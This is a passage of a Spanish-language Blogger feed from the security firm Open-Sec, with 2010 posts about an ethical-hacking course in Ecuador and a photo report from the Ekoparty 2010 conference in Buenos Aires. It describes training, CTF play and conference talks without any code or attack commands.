Centro América con entrenamientos de hacking y forensia computacional (OSFA).&lt;br /&gt;&lt;br /&gt;Proximo post : LimaHack 2010...el cierre de año que tenia que ser.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1142420473059173802-5694380835561283805?l=ehopen-sec.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ehopen-sec.blogspot.com/feeds/5694380835561283805/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://ehopen-sec.blogspot.com/2010/12/oseh-honduras.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1142420473059173802/posts/default/5694380835561283805'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1142420473059173802/posts/default/5694380835561283805'/><link rel='alternate' type='text/html' href='http://ehopen-sec.blogspot.com/2010/12/oseh-honduras.html' title='OSEH @ HONDURAS'/><author><name>Open-Sec</name><uri>http://www.blogger.com/profile/12321871096900747631</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='27' src='http://3.bp.blogspot.com/_IhM_rPvn0ac/S3lr4XtO6HI/AAAAAAAAAFI/ga7qLaDmumY/S220/Imagen2009.jpeg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_IhM_rPvn0ac/TQG4OKg6I4I/AAAAAAAAAKM/xYNMazMN0Cs/s72-c/ctf-atacame.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1142420473059173802.post-2318112965392022753</id><published>2010-11-05T16:40:00.003-05:00</published><updated>2010-12-02T23:41:25.809-05:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Ecuador'/><category scheme='http://www.blogger.com/atom/ns#' term='OSEH'/><category scheme='http://www.blogger.com/atom/ns#' term='Open-Sec'/><title type='text'>OSEH en Ecuador</title><content type='html'>Hola. &lt;br /&gt;&lt;br /&gt;El tercer fin de semana del mes de Octubre (15,16,17) del presente estuvimos en la calurosa ciudad de Guayaquil para dictar el curso &lt;a href="http://www.open-sec.com/oseh/oseh.html"&gt;Open-Sec Ethical Hacker &lt;/a&gt;como parte del programa de estudio de la &lt;a href="http://www.msia.espol.edu.ec/"&gt;Maestria de Seguridad Informática Aplicada&lt;/a&gt; dictada en la ESPOL (&lt;a href="http://www.espol.edu.ec/"&gt;Escuela Superior Politécnica del Litoral&lt;/a&gt;).&lt;br /&gt;&lt;br /&gt;Luego de 3 intensivos dias de hacking, retos y buena comida concluimos el curso con una gran aceptación y despertar de interés por parte de los estudiantes de la maestria. Fruto del curso, 32 nuevas personas (y futuros masters en seguridad informática) cuentan con la certificación Open-Sec Ethical Hacker.&lt;br /&gt;&lt;br /&gt;Desde aqui un saludo a los nuevos amigos que hicimos en Guayaquil. Espero poder retornar pronto para hacer otra parrillada :P.&lt;br /&gt;&lt;br /&gt;Les dejo algunas imágenes.&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/_IhM_rPvn0ac/TNR2MWtj0MI/AAAAAAAAAJo/wdOaqDcpIlc/s1600/IMG_2330.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="320" src="http://1.bp.blogspot.com/_IhM_rPvn0ac/TNR2MWtj0MI/AAAAAAAAAJo/wdOaqDcpIlc/s320/IMG_2330.JPG" width="240" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;Preparando los 52352352 USB's con una imagen de &lt;a href="http://www.backtrack-linux.org/"&gt;backtrack&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/_IhM_rPvn0ac/TNR3-ErFJ3I/AAAAAAAAAJw/P4ipEYM3Iz4/s1600/IMG_23242.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="320" src="http://3.bp.blogspot.com/_IhM_rPvn0ac/TNR3-ErFJ3I/AAAAAAAAAJw/P4ipEYM3Iz4/s320/IMG_23242.JPG" width="240" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/_IhM_rPvn0ac/TNR3Vor1VAI/AAAAAAAAAJs/wnoqCc3fybY/s1600/IMG_2324.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;br /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;/div&gt;Concentración!&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/_IhM_rPvn0ac/TNR4Rq1Uy9I/AAAAAAAAAJ0/skOL1D-A2Ho/s1600/IMG_2326.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="240" src="http://1.bp.blogspot.com/_IhM_rPvn0ac/TNR4Rq1Uy9I/AAAAAAAAAJ0/skOL1D-A2Ho/s320/IMG_2326.JPG" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;¿Cuál era el comando ?&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/_IhM_rPvn0ac/TNR42HM0CPI/AAAAAAAAAJ4/LowjK7yLdgE/s1600/IMG_2348.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="320" src="http://2.bp.blogspot.com/_IhM_rPvn0ac/TNR42HM0CPI/AAAAAAAAAJ4/LowjK7yLdgE/s320/IMG_2348.JPG" width="240" /&gt;&lt;/a&gt;&lt;/div&gt;Capture the Flag !!&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/_IhM_rPvn0ac/TNR5DBLpjsI/AAAAAAAAAJ8/TeTcbTiNRM4/s1600/IMG_2354.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="240" src="http://3.bp.blogspot.com/_IhM_rPvn0ac/TNR5DBLpjsI/AAAAAAAAAJ8/TeTcbTiNRM4/s320/IMG_2354.JPG" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;MSIA&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/_IhM_rPvn0ac/TNR5PZRJSSI/AAAAAAAAAKA/ZBC0fmTj3gQ/s1600/IMG_2327.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="320" src="http://4.bp.blogspot.com/_IhM_rPvn0ac/TNR5PZRJSSI/AAAAAAAAAKA/ZBC0fmTj3gQ/s320/IMG_2327.JPG" width="240" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;Para los interesados en este curso pueden encontrar más información en &lt;a href="http://www.open-sec.com/oseh/oseh.html"&gt;http://www.open-sec.com/oseh/oseh.html&lt;/a&gt; o escribiendo a info@open-sec.com.&lt;br /&gt;&lt;br /&gt;Próximo destino del curso OSEH ?&lt;br /&gt;Honduras !!!&lt;br /&gt;&lt;br /&gt;Les cuento en otro post.&lt;br /&gt;&lt;br /&gt;Saludos&lt;br /&gt;&lt;br /&gt;Mauricio &lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1142420473059173802-2318112965392022753?l=ehopen-sec.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ehopen-sec.blogspot.com/feeds/2318112965392022753/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://ehopen-sec.blogspot.com/2010/11/oseh-en-ecuador.html#comment-form' title='3 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1142420473059173802/posts/default/2318112965392022753'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1142420473059173802/posts/default/2318112965392022753'/><link rel='alternate' type='text/html' href='http://ehopen-sec.blogspot.com/2010/11/oseh-en-ecuador.html' title='OSEH en Ecuador'/><author><name>Open-Sec</name><uri>http://www.blogger.com/profile/12321871096900747631</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='27' src='http://3.bp.blogspot.com/_IhM_rPvn0ac/S3lr4XtO6HI/AAAAAAAAAFI/ga7qLaDmumY/S220/Imagen2009.jpeg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_IhM_rPvn0ac/TNR2MWtj0MI/AAAAAAAAAJo/wdOaqDcpIlc/s72-c/IMG_2330.JPG' height='72' width='72'/><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1142420473059173802.post-6221044003501854025</id><published>2010-10-02T22:18:00.002-05:00</published><updated>2011-02-18T10:48:57.773-05:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Ekoparty 2010'/><category scheme='http://www.blogger.com/atom/ns#' term='Argentina'/><title type='text'>Ekoparty 2010</title><content type='html'>&lt;div style="text-align: justify;"&gt;&lt;span style="font-family: &amp;quot;trebuchet ms&amp;quot;;"&gt;Importado de : http://wcuestas.blogspot.com/2010/10/ekoparty-2010.html&amp;nbsp;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;trebuchet ms&amp;quot;;"&gt;Esta fue una de las aventuras más simpáticas de los úl&lt;/span&gt;&lt;span style="font-family: &amp;quot;trebuchet ms&amp;quot;;"&gt;timos tiempos.  Ya el año pasado nos quedamos sin ir por la carga laboral y este año nos lanzamos.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;trebuchet ms&amp;quot;;"&gt;Era importante para n&lt;/span&gt;&lt;span style="font-family: &amp;quot;trebuchet ms&amp;quot;;"&gt;osotros ir como team y para ver que tal estamos comparados con un medio tan avanzado y competitivo como el argentino, en otras palabras, que tan "hackers" somos y &lt;/span&gt;&lt;span style="font-family: &amp;quot;trebuchet ms&amp;quot;;"&gt;de hech&lt;/span&gt;&lt;span style="font-family: &amp;quot;trebuchet ms&amp;quot;;"&gt;o, el resultado fue positivo para nosotros, pero, hay que &lt;/span&gt;&lt;span style="font-family: &amp;quot;trebuchet ms&amp;quot;;"&gt;tener en cuenta que en Argentina no solamente hay bueno&lt;/span&gt;&lt;span style="font-family: &amp;quot;trebuchet ms&amp;quot;;"&gt;s pen testers, ethical hackers, etc. sino&lt;/span&gt;&lt;span style="font-family: &amp;quot;trebuchet ms&amp;quot;;"&gt; excelentes investigadores y desarrolladores en seguridad informá&lt;/span&gt;&lt;span style="font-family: &amp;quot;trebuchet ms&amp;quot;;"&gt;tica.  Mauricio Velazco se preguntaba : y ellos estan todo el día investi&lt;/span&gt;&lt;span style="font-family: &amp;quot;trebuchet ms&amp;quot;;"&gt;gando para encontrar esas vulnerabilidades y desarr&lt;/span&gt;&lt;span style="font-family: &amp;quot;trebuchet ms&amp;quot;;"&gt;ollar exploits ? La respuesta es SI porque allá hay empresas que se dedican a desarrollar herramientas de hacking, tanto como software libre &lt;/span&gt;&lt;span style="font-family: &amp;quot;trebuchet ms&amp;quot;;"&gt;como comercial.  Eje&lt;/span&gt;&lt;span style="font-family: &amp;quot;trebuchet ms&amp;quot;;"&gt;mplo de todo ello son Core Impact (de Core Security), CANVAS (de Immunity) y la incorporación de w3af al "conglomerado" de Rapid7 que ya cuenta con MetaSploit, así como, Netifera y el ataque de Padding Oracle aplicado a la _&lt;/span&gt;&lt;span style="font-family: &amp;quot;trebuchet ms&amp;quot;;"&gt;_viewstate de .Net donde el 50% del mérito lo tiene un argentino, J&lt;/span&gt;&lt;span style="font-family: &amp;quot;trebuchet ms&amp;quot;;"&gt;uliano Rizzo.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;trebuchet ms&amp;quot;;"&gt;Aca nuestra investigación se da en forma &lt;/span&gt;&lt;span style="font-family: &amp;quot;trebuchet ms&amp;quot;;"&gt;posterior porque n&lt;/span&gt;&lt;span style="font-family: &amp;quot;trebuchet ms&amp;quot;;"&gt;os dedicamos a entender las vulnerabilidades reportadas&lt;/span&gt;&lt;span style="font-family: &amp;quot;trebuchet ms&amp;quot;;"&gt; y luego, a comprender como funcionan las herramientas o exploits lanzados, y, en algunos casos, para corregirlos o adecuarlos a nuestras necesidades (aunque ya tenemos 3 nu&lt;/span&gt;&lt;span style="font-family: &amp;quot;trebuchet ms&amp;quot;;"&gt;evas herramientas que lanzaremos este mes en el evento de ISACA el 22 de octubre).&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;trebuchet ms&amp;quot;;"&gt;A continuación la aventura Ekoparty en imágenes &lt;/span&gt;&lt;span style="font-family: &amp;quot;trebuchet ms&amp;quot;;"&gt;:&lt;/span&gt;&lt;br /&gt;&lt;a href="http://3.bp.blogspot.com/_5Ut8jEtbEaU/TKf86XaEoZI/AAAAAAAAAQg/IJsMS-lNSX4/s1600/PICT0027.JPG" onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}"&gt;&lt;img alt="" border="0" id="BLOGGER_PHOTO_ID_5523661547639185810" src="http://3.bp.blogspot.com/_5Ut8jEtbEaU/TKf86XaEoZI/AAAAAAAAAQg/IJsMS-lNSX4/s200/PICT0027.JPG" style="cursor: pointer; float: left; height: 150px; margin: 0pt 10px 10px 0pt; width: 200px;" /&gt;&lt;/a&gt;&lt;span style="font-family: &amp;quot;trebuchet ms&amp;quot;;"&gt;Perú estuve super presente en Ekoparty 2010.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;trebuchet ms&amp;quot;;"&gt;Estuvimos 4 de O&lt;/span&gt;&lt;span style="font-family: &amp;quot;trebuchet ms&amp;quot;;"&gt;pen-Sec, Juan Pablo, Felipe y Miguel (más datos omitidos a propósito).&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://4.bp.blogspot.com/_5Ut8jEtbEaU/TKgU5blAeZI/AAAAAAAAAQo/0Ne7qdglt3Q/s1600/PICT0028.JPG" onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}"&gt;&lt;img alt="" border="0" id="BLOGGER_PHOTO_ID_5523687919857990034" src="http://4.bp.blogspot.com/_5Ut8jEtbEaU/TKgU5blAeZI/AAAAAAAAAQo/0Ne7qdglt3Q/s200/PICT0028.JPG" style="cursor: pointer; float: right; height: 150px; margin: 0pt 0pt 10px 10px; width: 200px;" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;trebuchet ms&amp;quot;;"&gt;La danza diabólica de las habitaci&lt;/span&gt;&lt;span style="font-family: &amp;quot;trebuchet ms&amp;quot;;"&gt;ones comp&lt;/span&gt;&lt;span style="font-family: &amp;quot;trebuchet ms&amp;quot;;"&gt;artidas.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;trebuchet ms&amp;quot;;"&gt;Quién duerme con MV ?  Por aca!  Pero, luego encontró su pareja ideal  : MU, durmieron juntos 3 noches y fueron felices por siempre.  MV se quedó unos días &lt;/span&gt;&lt;span style="font-family: &amp;quot;trebuchet ms&amp;quot;;"&gt;más en Bs Aires hacien&lt;/span&gt;&lt;span style="font-family: &amp;quot;trebuchet ms&amp;quot;;"&gt;do los trámites del matrimonio.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;trebuchet ms&amp;quot;;"&gt;(El del gesto diabólico no es ninguno de los M*).&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://1.bp.blogspot.com/_5Ut8jEtbEaU/TKgWcD1yCyI/AAAAAAAAAQ4/Q3QnEzKpQgQ/s1600/PICT0035.JPG" onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}"&gt;&lt;img alt="" border="0" id="BLOGGER_PHOTO_ID_5523689614292945698" src="http://1.bp.blogspot.com/_5Ut8jEtbEaU/TKgWcD1yCyI/AAAAAAAAAQ4/Q3QnEzKpQgQ/s200/PICT0035.JPG" style="cursor: pointer; float: left; height: 150px; margin: 0pt 10px 10px 0pt; width: 200px;" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;trebuchet ms&amp;quot;;"&gt;Nos mand&lt;/span&gt;&lt;span style="font-family: &amp;quot;trebuchet ms&amp;quot;;"&gt;aron un mail diciendo que lleguemos a las 7:30 am., como buenos peruanos puntuales, llegamos a las 9:00 de la madrugada y quedó claro que argentinos y peruanos somos hermanos, más puntuales imposible!&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://1.bp.blogspot.com/_5Ut8jEtbEaU/TKgXHqZo4ZI/AAAAAAAAARA/Cj2IHFegAMY/s1600/PICT0048.JPG" onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}"&gt;&lt;img alt="" border="0" id="BLOGGER_PHOTO_ID_5523690363378262418" src="http://1.bp.blogspot.com/_5Ut8jEtbEaU/TKgXHqZo4ZI/AAAAAAAAARA/Cj2IHFegAMY/s200/PICT0048.JPG" style="cursor: pointer; float: right; height: 150px; margin: 0pt 0pt 10px 10px; width: 200px;" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;trebuchet ms&amp;quot;;"&gt;El escenario de Eko&lt;/span&gt;&lt;span style="font-family: &amp;quot;trebuchet ms&amp;quot;;"&gt;party.  El lugar donde se realiza es bien particular, hay que tener la mente bien abierta para encontrarle lo simpático, pero, el escenario como tal es buenísimo : un logo de Ekoparty en neón, un panel suficientemente grande, buen audio, una decoración e&lt;/span&gt;&lt;span style="font-family: &amp;quot;trebuchet ms&amp;quot;;"&gt;ntretenida, muy bueno.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://3.bp.blogspot.com/_5Ut8jEtbEaU/TKgX73OZ_uI/AAAAAAAAARI/kF0GFMq9Wx0/s1600/PICT0053.JPG" onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}"&gt;&lt;img alt="" border="0" id="BLOGGER_PHOTO_ID_5523691260174008034" src="http://3.bp.blogspot.com/_5Ut8jEtbEaU/TKgX73OZ_uI/AAAAAAAAARI/kF0GFMq9Wx0/s200/PICT0053.JPG" style="cursor: pointer; float: left; height: 150px; margin: 0pt 10px 10px 0pt; width: 200px;" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;a href="http://1.bp.blogspot.com/_5Ut8jEtbEaU/TKgYPh2wHUI/AAAAAAAAARQ/7esieSP8UbE/s1600/PICT0054.JPG" onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}"&gt;&lt;img alt="" border="0" id="BLOGGER_PHOTO_ID_5523691598035033410" src="http://1.bp.blogspot.com/_5Ut8jEtbEaU/TKgYPh2wHUI/AAAAAAAAARQ/7esieSP8UbE/s200/PICT0054.JPG" style="cursor: pointer; float: right; height: 150px; margin: 0pt 0pt 10px 10px; width: 200px;" /&gt;&lt;/a&gt;&lt;span style="font-family: &amp;quot;trebuchet ms&amp;quot;;"&gt;A la izquierda : MV en&lt;/span&gt;&lt;span style="font-family: &amp;quot;trebuchet ms&amp;quot;;"&gt; el CtF.  Lo curioso fue que alguien di&lt;/span&gt;&lt;span style="font-family: &amp;quot;trebuchet ms&amp;quot;;"&gt;jo : es un web! MV buscó, lo encontró y empezó a atacarlo.  Rato después alguien le dice que era &lt;/span&gt;&lt;span style="font-family: &amp;quot;trebuchet ms&amp;quot;;"&gt;un web que estaba publicado en Internet y los retos eran de esos que solo entienden los creadores y sus amigos.  Curiosamente, el web del reto terminó siendo "alterado".  Quién habrá sido ?&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;trebuchet ms&amp;quot;;"&gt;A la d&lt;/span&gt;&lt;span style="font-family: &amp;quot;trebuchet ms&amp;quot;;"&gt;erecha : MU, CC y JQ haciendo lockpicking que luego será aplicado en pruebas de seguridad física.&lt;/span&gt;&lt;br /&gt;&lt;a href="http://4.bp.blogspot.com/_5Ut8jEtbEaU/TKgZd9MysdI/AAAAAAAAARY/qn-wHhyvtgE/s1600/PICT0082.JPG" onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}"&gt;&lt;img alt="" border="0" id="BLOGGER_PHOTO_ID_5523692945405030866" src="http://4.bp.blogspot.com/_5Ut8jEtbEaU/TKgZd9MysdI/AAAAAAAAARY/qn-wHhyvtgE/s200/PICT0082.JPG" style="cursor: pointer; float: left; height: 150px; margin: 0pt 10px 10px 0pt; width: 200px;" /&gt;&lt;/a&gt;&lt;span style="font-family: &amp;quot;trebuchet ms&amp;quot;;"&gt;A la izquierda : seleccionando "exploits".&lt;/span&gt;&lt;a href="http://2.bp.blogspot.com/_5Ut8jEtbEaU/TKgaSu7pH1I/AAAAAAAAARo/IxdzZZMCsPI/s1600/PICT0095.JPG" onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}"&gt;&lt;img alt="" border="0" id="BLOGGER_PHOTO_ID_5523693852108070738" src="http://2.bp.blogspot.com/_5Ut8jEtbEaU/TKgaSu7pH1I/AAAAAAAAARo/IxdzZZMCsPI/s200/PICT0095.JPG" style="cursor: pointer; float: right; height: 150px; margin: 0pt 0pt 10px 10px; width: 200px;" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;trebuchet ms&amp;quot;;"&gt;A la derecha : MU meditando sobre el padding oracle attack...oooommmm...ZZZZZZ&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;trebuchet ms&amp;quot;;"&gt;Dicen que la mejor defensa es el ataque, MV lo pone en práctica...&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://3.bp.blogspot.com/_5Ut8jEtbEaU/TKgbqKSkC_I/AAAAAAAAAR4/ZHz2rkXtTTE/s1600/PICT0100.JPG" onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}"&gt;&lt;img alt="" border="0" id="BLOGGER_PHOTO_ID_5523695354100583410" src="http://3.bp.blogspot.com/_5Ut8jEtbEaU/TKgbqKSkC_I/AAAAAAAAAR4/ZHz2rkXtTTE/s200/PICT0100.JPG" style="cursor: pointer; display: block; height: 150px; margin: 0px auto 10px; text-align: center; width: 200px;" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;a href="http://1.bp.blogspot.com/_5Ut8jEtbEaU/TKgbMu00XvI/AAAAAAAAARw/K73itwQdY9Q/s1600/PICT0127.JPG" onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}"&gt;&lt;img alt="" border="0" id="BLOGGER_PHOTO_ID_5523694848511860466" src="http://1.bp.blogspot.com/_5Ut8jEtbEaU/TKgbMu00XvI/AAAAAAAAARw/K73itwQdY9Q/s200/PICT0127.JPG" style="cursor: pointer; float: left; height: 150px; margin: 0pt 10px 10px 0pt; width: 200px;" /&gt;&lt;/a&gt; &lt;span style="font-family: &amp;quot;trebuchet ms&amp;quot;;"&gt;A la izquiera : peruanos en el subte.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;a href="http://3.bp.blogspot.com/_5Ut8jEtbEaU/TKgcHHokvwI/AAAAAAAAASA/_I9TQ0R-H14/s1600/IMAG0134.jpg" onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}"&gt;&lt;img alt="" border="0" id="BLOGGER_PHOTO_ID_5523695851603803906" src="http://3.bp.blogspot.com/_5Ut8jEtbEaU/TKgcHHokvwI/AAAAAAAAASA/_I9TQ0R-H14/s200/IMAG0134.jpg" style="cursor: pointer; float: right; height: 119px; margin: 0pt 0pt 10px 10px; width: 200px;" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;&lt;span style="font-family: &amp;quot;trebuchet ms&amp;quot;;"&gt;&lt;span style="font-family: &amp;quot;arial&amp;quot;;"&gt;A la derecha : reciclador tecnológico.&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1142420473059173802-6221044003501854025?l=ehopen-sec.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ehopen-sec.blogspot.com/feeds/6221044003501854025/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://ehopen-sec.blogspot.com/2010/10/ekoparty-2010.html#comment-form' title='1 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1142420473059173802/posts/default/6221044003501854025'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1142420473059173802/posts/default/6221044003501854025'/><link rel='alternate' type='text/html' href='http://ehopen-sec.blogspot.com/2010/10/ekoparty-2010.html' title='Ekoparty 2010'/><author><name>Open-Sec</name><uri>http://www.blogger.com/profile/12321871096900747631</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='27' src='http://3.bp.blogspot.com/_IhM_rPvn0ac/S3lr4XtO6HI/AAAAAAAAAFI/ga7qLaDmumY/S220/Imagen2009.jpeg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_5Ut8jEtbEaU/TKf86XaEoZI/AAAAAAAAAQg/IJsMS-lNSX4/s72-c/PICT0027.JPG' height='72' width='72'/><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1142420473059173802.post-1257244873167662894</id><published>2010-09-14T20:33:00.001-05:00</published><updated>2011-02-18T10:49:15.075-05:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Ekoparty'/><category scheme='http://www.blogger.com/atom/ns#' term='Security Conference'/><title type='text'>Ekoparty 2010</title><content type='html'>Mañana el equipo de Open-Sec estará viajando a Buenos Aires para la 6ta edición de la conferencia &lt;a href="http://www.ekoparty.org/"&gt;Ekoparty&lt;/a&gt;.&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/_IhM_rPvn0ac/TJAiLFW6Y6I/AAAAAAAAAJg/DrMMoAzGo_I/s1600/eko-party-logo.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="197" src="http://1.bp.blogspot.com/_IhM_rPvn0ac/TJAiLFW6Y6I/AAAAAAAAAJg/DrMMoAzGo_I/s200/eko-party-logo.png" width="200" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;Estaremos posteando noticias y fotos por este medio.&lt;br /&gt;&lt;br /&gt;Que la sigan rooteando !!!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1142420473059173802-1257244873167662894?l=ehopen-sec.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ehopen-sec.blogspot.com/feeds/1257244873167662894/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://ehopen-sec.blogspot.com/2010/09/ekoparty-2010.html#comment-form' title='1 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1142420473059173802/posts/default/1257244873167662894'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1142420473059173802/posts/default/1257244873167662894'/><link rel='alternate' type='text/html' href='http://ehopen-sec.blogspot.com/2010/09/ekoparty-2010.html' title='Ekoparty 2010'/><author><name>Open-Sec</name><uri>http://www.blogger.com/profile/12321871096900747631</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='27' src='http://3.bp.blogspot.com/_IhM_rPvn0ac/S3lr4XtO6HI/AAAAAAAAAFI/ga7qLaDmumY/S220/Imagen2009.jpeg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_IhM_rPvn0ac/TJAiLFW6Y6I/AAAAAAAAAJg/DrMMoAzGo_I/s72-c/eko-party-logo.png' height='72' width='72'/><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1142420473059173802.post-7849772293455043992</id><published>2010-08-29T23:37:00.014-05:00</published><updated>2010-08-30T11:28:39.596-05:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Buffer overflow'/><category scheme='http://www.blogger.com/atom/ns#' term='How Strong is Your Fu'/><category scheme='http://www.blogger.com/atom/ns#' term='exploit'/><category 